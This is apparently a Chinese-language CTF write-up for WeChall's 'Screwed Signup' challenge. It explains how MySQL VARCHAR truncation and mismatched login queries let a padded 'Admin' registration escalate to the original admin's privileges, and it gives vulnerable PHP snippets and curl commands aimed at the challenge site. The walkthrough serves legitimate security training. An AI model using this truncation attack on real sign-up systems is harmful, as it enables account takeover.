WeChall - Screwed Signup

Screwed Signup (Exploit, PHP) by gizmore MySQL VARCHAR 截断 + 查询不一致导致的权限提升

Challenge

目标是 login as Admin。题目给了 register/login 的源码,chall_sql1 表中已有原始 Admin 记录(access_level=1337)。

关键源码:

1
2
// 注册 — INSERT 语句
$query = "INSERT IGNORE INTO `chall_sql1` VALUES ('$uname', '$pw', 0)";
1
2
3
4
// 登录校验
function screwed_signupGetUser($username) {
$query = "SELECT * FROM `chall_sql1` WHERE `username`='$username'";
}

Solution

漏洞是 VARCHAR 截断 + 查询不一致

  • 表定义 username VARCHAR(24),但 PHP 的 preg_match('/^[a-z0-9A-Z ]{3,64}$/D') 允许最长 64 字符
  • trim() 只去掉首尾空格,中间空格保留
  • MySQL 在非严格模式下静默截断超长值到 24 字符

利用步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1. 注册: username = "Admin" + 19空格 + "a"    (共 25 字符)
→ trim() 保留中间空格(a 在末尾不会被 trim 删掉)
→ regex 通过(3-64 字符规则)

2. UserExists("Admin" + 19空格 + "a") → false(表中无此长字符串记录)

3. MySQL INSERT 时截断到 VARCHAR(24):
实际写入: "Admin" + 19 空格 (access_level=0)

4. 现在表中有两条 Admin 记录:
- 原始 Admin (access_level=1337) ← 先插入
- 我们复制的 Admin (access_level=0) ← 后插入

5. 登录: username = "Admin"(无空格)
→ PasswordMatch 检查 username+password → 找到我们的记录(密码匹配)
→ GetUser 只查 username → WHERE username='Admin' → 返回第一行 → 原始 Admin
→ access_level=1337 > 0 → solved

关键:PasswordMatch 检查了密码但 GetUser 只查用户名,两条查询的不一致导致权限提升。

1
2
3
4
5
6
7
8
9
# 注册
curl -c /tmp/wc -b /tmp/wc -X POST \
'https://www.wechall.net/en/challenge/screwed_signup/register.php' \
-d 'username=Admin a&password=hack123&password2=hack123&register=Register'

# 登录
curl -c /tmp/wc -b /tmp/wc -X POST \
'https://www.wechall.net/en/challenge/screwed_signup/login.php' \
-d 'username=Admin&password=hack123&login=Login'